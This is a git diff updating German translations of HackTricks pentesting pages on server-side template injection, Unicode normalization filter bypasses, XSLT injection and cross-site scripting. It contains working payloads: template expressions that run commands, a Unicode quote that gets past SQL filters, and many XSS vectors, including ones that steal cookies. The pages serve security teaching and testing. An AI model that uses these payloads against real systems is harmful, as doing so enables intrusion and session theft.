<figure><img src="../../images/image (7).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg</a></p></figcaption></figure>
- Weitere Informationen unter [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
##
### Smarty (PHP)
@ -477,7 +474,7 @@ $output = $twig > render (
array("first_name" => $user.first_name)
);
```
**Weitere Informationen**
**Mehr Informationen**
- Im Twig und Twig (Sandboxed) Abschnitt von [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig)
@ -614,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
### patTemplate (PHP)
> [patTemplate](https://github.com/wernerwa/pat-template) nicht-kompilierbare PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen
> [patTemplate](https://github.com/wernerwa/pat-template) ist eine nicht-kompilierende PHP-Template-Engine, die XML-Tags verwendet, um ein Dokument in verschiedene Teile zu unterteilen.
```xml
<patTemplate:tmpl name="page">
This is the main page.
@ -669,11 +666,11 @@ URLencoded:
### JsRender (NodeJS)
| **Template** | **Beschreibung** |
| ------------ | -------------------------------------- |
| | Auswerten und Ausgabe rendern |
| **Template** | **Beschreibung** |
| ------------ | --------------------------------------- |
| | Auswerten und Ausgabe rendern |
| | Auswerten und HTML-kodierte Ausgabe rendern |
| | Kommentar |
| | Kommentar |
| und | Code erlauben (standardmäßig deaktiviert) |
- \= 49
@ -744,7 +741,7 @@ range.constructor(
- `{{7*7}} = {{7*7}}`
- `${7*7} = ${7*7}`
- `<%= 7*7 %> = 49`
- `<%= foobar %> = Fehler`
- `<%= foobar %> = Error`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
@ -790,7 +787,7 @@ Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführ
- `{{7*7}} = 49`
- `${7*7} = ${7*7}`
- `{{foobar}} = Error`
- `{{foobar}} = Fehler`
- `{{7*'7'}} = 7777777`
```python
{% raw %}
@ -817,7 +814,7 @@ Schau dir die folgende Seite an, um Tricks über **willkürliche Befehlsausführ
[Offizielle Website](http://jinja.pocoo.org)
> Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, wird weit verbreitet verwendet und ist BSD-lizenziert.
> Jinja2 ist eine voll funktionsfähige Template-Engine für Python. Es hat volle Unicode-Unterstützung, eine optionale integrierte sandboxed Ausführungsumgebung, ist weit verbreitet und unterliegt der BSD-Lizenz.
- `{{7*7}} = Fehler`
- `${7*7} = ${7*7}`
@ -945,21 +942,21 @@ Auch wenn es Perl ist, verwendet es Tags wie ERB in Ruby.
Im Template-Engine von Go kann die Bestätigung seiner Verwendung mit spezifischen Payloads erfolgen:
- `{{ . }}`: Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einem Attribut `Password` übergeben wird, könnte `{{ .Password }}` es offenbaren.
- `{{ . }}`: Gibt die Datenstruktur-Eingabe preis. Wenn beispielsweise ein Objekt mit einem `Password`-Attribut übergeben wird, könnte `{{ .Password }}` es offenbaren.
- `{{printf "%s" "ssti" }}`: Sollte den String "ssti" anzeigen.
- `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation {#ref}generic-methodologies-and-resources/pentesting-methodology.md{#endref} erkundet werden.
- `{{html "ssti"}}`, `{{js "ssti"}}`: Diese Payloads sollten "ssti" zurückgeben, ohne "html" oder "js" anzuhängen. Weitere Direktiven können in der Go-Dokumentation [hier](https://golang.org/pkg/text/template) erkundet werden.
<figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
**XSS Exploitation**
Mit dem `text/template`-Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das `html/template`-Paket die Antwort, um dies zu verhindern (z. B. ergibt `{{"<script>alert(1)</script>"}}` `&lt;script&gt;alert(1)&lt;/script&gt;`). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
Mit dem `text/template`-Paket kann XSS einfach sein, indem die Payload direkt eingefügt wird. Im Gegensatz dazu kodiert das `html/template`-Paket die Antwort, um dies zu verhindern (z.B. ergibt `{{"<script>alert(1)</script>"}}` `&lt;script&gt;alert(1)&lt;/script&gt;`). Dennoch kann die Definition und der Aufruf von Templates in Go diese Kodierung umgehen: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
**RCE Exploitation**
Die RCE-Ausnutzung unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was im `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist {#ref}hier für html/template{#endref} und {#ref}hier für text/template{#endref} verfügbar.
Die RCE-Exploitation unterscheidet sich erheblich zwischen `html/template` und `text/template`. Das `text/template`-Modul erlaubt das direkte Aufrufen jeder öffentlichen Funktion (unter Verwendung des „call“-Wertes), was im `html/template` nicht erlaubt ist. Die Dokumentation für diese Module ist [hier für html/template](https://golang.org/pkg/html/template/) und [hier für text/template](https://golang.org/pkg/text/template/).
Für RCE über SSTI in Go können Objektmethoden aufgerufen werden. Wenn das bereitgestellte Objekt beispielsweise eine `System`-Methode hat, die Befehle ausführt, kann es wie `{{ .System "ls" }}` ausgenutzt werden. Der Zugriff auf den Quellcode ist normalerweise erforderlich, um dies auszunutzen, wie im gegebenen Beispiel:
```go
@ -975,7 +972,7 @@ return string(out)
### Weitere Exploits
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Auch interessante Tag-Informationen finden Sie in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
Überprüfen Sie den Rest von [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) für weitere Exploits. Außerdem finden Sie interessante Tag-Informationen in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
## BlackHat PDF
@ -985,8 +982,8 @@ return string(out)
Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
- [Flask Tricks](../../network-services-pentesting/pentesting-web/flask.md)
- [Python Magische Funktionen](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
- [Flask-Tricks](../../network-services-pentesting/pentesting-web/flask.md)
- [Python-Magie-Funktionen](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)
## Werkzeuge
@ -995,11 +992,13 @@ Wenn Sie denken, dass es nützlich sein könnte, lesen Sie:
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
## Brute-Force Erkennungs-Liste
## Brute-Force-Erkennungsliste
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
## Praxis & Referenzen
## Übung & Referenzen
- [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
- [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)

16
src/pentesting-web/unicode-injection/unicode-normalization.md
View File

@ -1,4 +1,4 @@
# Unicode-Normalisierung
# Unicode Normalisierung
{{#include ../../banners/hacktricks-training.md}}
@ -23,7 +23,7 @@ Das Verständnis der Unicode-Codierung ist entscheidend, insbesondere im Umgang
- **Datenverarbeitung**: Systeme, die Daten verarbeiten, müssen sich der verwendeten Codierung bewusst sein, um den Byte-Stream korrekt in Zeichen umzuwandeln.
- **Varianten von UTF**: Neben UTF-8 gibt es andere Codierungsstandards wie UTF-16 (mit mindestens 2 Bytes, bis zu 4) und UTF-32 (mit 4 Bytes für alle Zeichen).
Es ist entscheidend, diese Konzepte zu verstehen, um potenzielle Probleme, die aus der Komplexität von Unicode und seinen verschiedenen Codierungsmethoden entstehen, effektiv zu bewältigen und zu mindern.
Es ist entscheidend, diese Konzepte zu verstehen, um potenzielle Probleme, die aus der Komplexität von Unicode und seinen verschiedenen Codierungsmethoden entstehen, effektiv zu handhaben und zu mindern.
Ein Beispiel dafür, wie Unicode zwei verschiedene Bytes normalisiert, die dasselbe Zeichen darstellen:
```python
@ -39,11 +39,11 @@ Ein weiteres **Beispiel**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%
## **Anfällige Beispiele**
### **SQL Injection-Filter umgehen**
### **SQL-Injection-Filter umgehen**
Stellen Sie sich eine Webseite vor, die das Zeichen `'` verwendet, um SQL-Abfragen mit Benutzereingaben zu erstellen. Diese Webseite löscht als Sicherheitsmaßnahme alle Vorkommen des Zeichens **`'`** aus der Benutzereingabe, aber **nach dieser Löschung** und **vor der Erstellung** der Abfrage **normalisiert** sie die Eingabe des Benutzers mit **Unicode**.
Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das dem `' (0x27)` entspricht, wie `%ef%bc%87` einfügen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches Anführungszeichen und eine **SQL-Injection-Schwachstelle** tritt auf:
Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das äquivalent zu `' (0x27)` ist, wie `%ef%bc%87` einfügen. Wenn die Eingabe normalisiert wird, entsteht ein einfaches Anführungszeichen und eine **SQL-Injection-Schwachstelle** tritt auf:
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (702).png>)
@ -75,7 +75,9 @@ Dann könnte ein böswilliger Benutzer ein anderes Unicode-Zeichen, das dem `' (
```
#### sqlmap-Vorlage
{% embed url="https://github.com/carlospolop/sqlmap_to_unicode_template" %}
{{#ref}}
https://github.com/carlospolop/sqlmap_to_unicode_template
{{#endref}}
### XSS (Cross Site Scripting)
@ -89,9 +91,9 @@ Beachten Sie, dass das erste vorgeschlagene Unicode-Zeichen beispielsweise als:
### Fuzzing Regexes
Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte der Regex in einem Open Redirect oder SSRF die gesendete **URL** **normalisieren**, aber dann **sie so aufrufen**.
Wenn das Backend **Benutzereingaben mit einem Regex überprüft**, könnte es möglich sein, dass die **Eingabe** für den **Regex** **normalisiert** wird, aber **nicht** für den Ort, an dem sie **verwendet** wird. Zum Beispiel könnte der Regex in einem Open Redirect oder SSRF die gesendete URL **normalisieren**, aber dann **sie so verwenden**, wie sie ist.
Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermöglicht es, **Variationen der Eingabe** zu generieren, um das Backend zu fuzzern. Für weitere Informationen besuchen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/).
Das Tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* ermöglicht es, **Variationen der Eingabe zu generieren**, um das Backend zu fuzzern. Für weitere Informationen besuchen Sie das **github** und diesen [**Beitrag**](https://0xacb.com/2022/11/21/recollapse/).
## Referenzen

10
src/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md
View File

@ -2,7 +2,7 @@
{{#include ../banners/hacktricks-training.md}}
## Grundinformationen
## Grundlegende Informationen
XSLT ist eine Technologie, die zur Umwandlung von XML-Dokumenten in verschiedene Formate verwendet wird. Es gibt drei Versionen: 1, 2 und 3, wobei Version 1 am häufigsten genutzt wird. Der Transformationsprozess kann entweder auf dem Server oder im Browser durchgeführt werden.
@ -12,7 +12,7 @@ Die am häufigsten verwendeten Frameworks sind:
- **Xalan** von Apache,
- **Saxon** von Saxonica.
Für die Ausnutzung von Schwachstellen im Zusammenhang mit XSLT ist es notwendig, dass xsl-Tags auf der Serverseite gespeichert werden, gefolgt vom Zugriff auf diesen Inhalt. Eine Illustration einer solchen Schwachstelle ist in der folgenden Quelle dokumentiert: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
Für die Ausnutzung von Schwachstellen im Zusammenhang mit XSLT ist es erforderlich, dass xsl-Tags auf der Serverseite gespeichert werden, gefolgt vom Zugriff auf diesen Inhalt. Eine Illustration einer solchen Schwachstelle ist in der folgenden Quelle dokumentiert: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
## Beispiel - Tutorial
```bash
@ -55,7 +55,7 @@ sudo apt-get install libsaxonb-java libsaxon-java
</xsl:template>
</xsl:stylesheet>
```
Führen Sie aus:
Ausführen:
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml
@ -374,7 +374,9 @@ version="1.0">
## **Brute-Force Erkennungsliste**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt
{{#endref}}
## **Referenzen**

102
src/pentesting-web/xss-cross-site-scripting/README.md
View File

@ -27,7 +27,7 @@
4. Wenn **verwendet**:
1. Sie könnten eine **DOM XSS** ausnutzen, achten Sie darauf, wie Ihre Eingabe kontrolliert wird und ob Ihre **kontrollierte Eingabe von einem Sink verwendet wird.**
Wenn Sie an einer komplexen XSS arbeiten, könnte es interessant sein, über Folgendes Bescheid zu wissen:
Wenn Sie an einer komplexen XSS arbeiten, könnte es interessant sein, Folgendes zu wissen:
{{#ref}}
debugging-client-side-js.md
@ -43,21 +43,21 @@ Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **Wert finden, der
## Kontexte
Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe reflektiert wird**. Je nach Kontext können Sie auf unterschiedliche Weise beliebigen JS-Code ausführen.
Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre Eingabe reflektiert wird**. Je nach Kontext können Sie auf verschiedene Weise beliebigen JS-Code ausführen.
### Rohes HTML
Wenn Ihre Eingabe **im rohen HTML** der Seite reflektiert wird, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
Wenn Ihre Eingabe im **rohen HTML** der Seite **reflektiert wird**, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
Denken Sie auch an [Client Side Template Injection](../client-side-template-injection-csti.md).
### Innerhalb von HTML-Tag-Attributen
Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Sie versuchen:
1. Von **dem Attribut und dem Tag zu entkommen** (dann befinden Sie sich im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
1. Von **dem Attribut und dem Tag zu entkommen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
2. Wenn Sie **vom Attribut, aber nicht vom Tag entkommen können** (`>` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird, **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="**
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), hängt es davon ab, **in welchem Attribut** Ihr Wert reflektiert wird und **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, ob Sie es ausnutzen können. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
4. Wenn Ihre Eingabe in "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
```html
@ -67,14 +67,14 @@ Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen k
```
### Inside JavaScript code
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert:
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll widergespiegelt:
- Wenn sie zwischen **`<script> [...] </script>`**-Tags reflektiert wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
- Wenn es **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den **String verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
- Wenn sie zwischen **`<script> [...] </script>`**-Tags widergespiegelt wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** analysiert und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
- Wenn sie **innerhalb eines JS-Strings** widergespiegelt wird und der letzte Trick nicht funktioniert, müssen Sie den **String verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- Wenn es innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
- Wenn sie innerhalb von Template-Literalen widergespiegelt wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
```javascript
alert(1)
@ -94,7 +94,7 @@ js-hoisting.md
Mehrere Webseiten haben Endpunkte, die **den Namen der auszuführenden Funktion als Parameter akzeptieren**. Ein häufiges Beispiel, das man in der Wildnis sieht, ist etwas wie: `?callback=callbackFunc`.
Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben wird, versucht wird auszuführen, ist **den Parametervalue zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie:
Eine gute Möglichkeit herauszufinden, ob etwas, das direkt vom Benutzer gegeben wird, versucht wird auszuführen, ist **den Parameterwert zu ändern** (zum Beispiel auf 'Vulnerable') und in der Konsole nach Fehlern zu suchen wie:
![](<../../images/image (711).png>)
@ -114,7 +114,7 @@ parentElement
```
Sie können auch versuchen, **Javascript-Funktionen** direkt auszulösen: `obj.sales.delOrders`.
In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, jedoch Endpunkte ohne viel interessantes DOM, **andere Seiten im gleichen Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen.
In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, jedoch Endpunkte ohne viel interessantes DOM. **Andere Seiten im gleichen Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen.
Daher wurde zur **Ausnutzung dieser Schwachstelle in einem anderen DOM** die **Same Origin Method Execution (SOME)**-Ausnutzung entwickelt:
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
## In rohes HTML injizieren
Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall können Sie diesen Fall ausnutzen**.\
Für diese Fälle sollten Sie auch **an [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.**\
Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\
Für diese Fälle sollten Sie auch **an** [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.**\
&#xNAN;_**Hinweis: Ein HTML-Kommentar kann mit\*\*\*\*\*\***&#x20;\***\*`-->`\*\***&#x20;\***\*oder \*\*\*\*\*\***`--!>`\*\**_geschlossen werden.
In diesem Fall und wenn keine Black/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
```html
<script>
alert(1)
@ -161,16 +161,16 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Aber wenn Tags/Attribute Black-/Whitelisting verwendet werden, müssen Sie **brute-forcen, welche Tags** Sie erstellen können.\
Aber wenn Tags/Attribute Black-/Whitelisting verwendet wird, müssen Sie **brute-forcen, welche Tags** Sie erstellen können.\
Sobald Sie **herausgefunden haben, welche Tags erlaubt sind**, müssen Sie **brute-forcen, welche Attribute/Ereignisse** innerhalb der gefundenen gültigen Tags vorhanden sind, um zu sehen, wie Sie den Kontext angreifen können.
### Tags/Ereignisse brute-force
Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in die Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob irgendwelche Tags nicht als bösartig vom WAF entdeckt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Ereignisse brute-forcen** mit den gültigen Tags (klicken Sie auf derselben Webseite auf _**Ereignisse in die Zwischenablage kopieren**_ und folgen Sie dem gleichen Verfahren wie zuvor).
Gehen Sie zu [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) und klicken Sie auf _**Tags in die Zwischenablage kopieren**_. Senden Sie dann alle mit Burp Intruder und überprüfen Sie, ob irgendwelche Tags nicht als bösartig vom WAF erkannt wurden. Sobald Sie herausgefunden haben, welche Tags Sie verwenden können, können Sie **alle Ereignisse brute-forcen** mit den gültigen Tags (klicken Sie auf derselben Webseite auf _**Ereignisse in die Zwischenablage kopieren**_ und folgen Sie dem gleichen Verfahren wie zuvor).
### Benutzerdefinierte Tags
Wenn Sie kein gültiges HTML-Tag gefunden haben, können Sie versuchen, **ein benutzerdefiniertes Tag zu erstellen** und JS-Code mit dem Attribut `onfocus` auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, um die Seite **auf dieses Objekt zu fokussieren** und den Code **auszuführen**:
Wenn Sie kein gültiges HTML-Tag gefunden haben, können Sie versuchen, **ein benutzerdefiniertes Tag zu erstellen** und JS-Code mit dem `onfocus`-Attribut auszuführen. In der XSS-Anfrage müssen Sie die URL mit `#` beenden, um die Seite **auf dieses Objekt zu fokussieren** und den Code **auszuführen**:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -228,7 +228,7 @@ onerror=alert`1`
```
### Length bypass (kleine XSSs)
> [!NOTE] > **Weitere kleine XSS für verschiedene Umgebungen** Payloads [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
> [!NOTE] > **Weitere kleine XSS für verschiedene Umgebungen** Payloads [**sind hier zu finden**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
@ -272,7 +272,7 @@ Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `jav
**Umgehung innerhalb des Ereignisses mit HTML-Kodierung/URL-Kodierung**
Die **HTML-kodierten Zeichen** innerhalb des Wertes von HTML-Tag-Attributen werden **zur Laufzeit dekodiert**. Daher ist etwas wie das Folgende gültig (die Nutzlast ist fett): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Zurück</a>`
Die **HTML-kodierten Zeichen** innerhalb des Wertes von HTML-Tag-Attributen werden **zur Laufzeit dekodiert**. Daher ist etwas wie das Folgende gültig (die Payload ist fett): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Zurück</a>`
Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
```javascript
@ -295,7 +295,7 @@ Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Umgehung des internen Ereignisses mit Unicode-Kodierung**
**Umgehung des internen Ereignisses mit Unicode-Codierung**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -303,7 +303,7 @@ Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
```
### Besondere Protokolle innerhalb des Attributs
Dort können Sie die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **willkürlichen JS-Code auszuführen**. Einige erfordern Benutzerinteraktion, andere nicht.
Dort können Sie die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **willkürlichen JS-Code** auszuführen. Einige erfordern Benutzerinteraktion, andere nicht.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -351,7 +351,7 @@ _**In diesem Fall ist der HTML-Encoding- und der Unicode-Encoding-Trick aus dem
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert ist, wird sie vor der Ausführung URL-decodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-codiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert.**
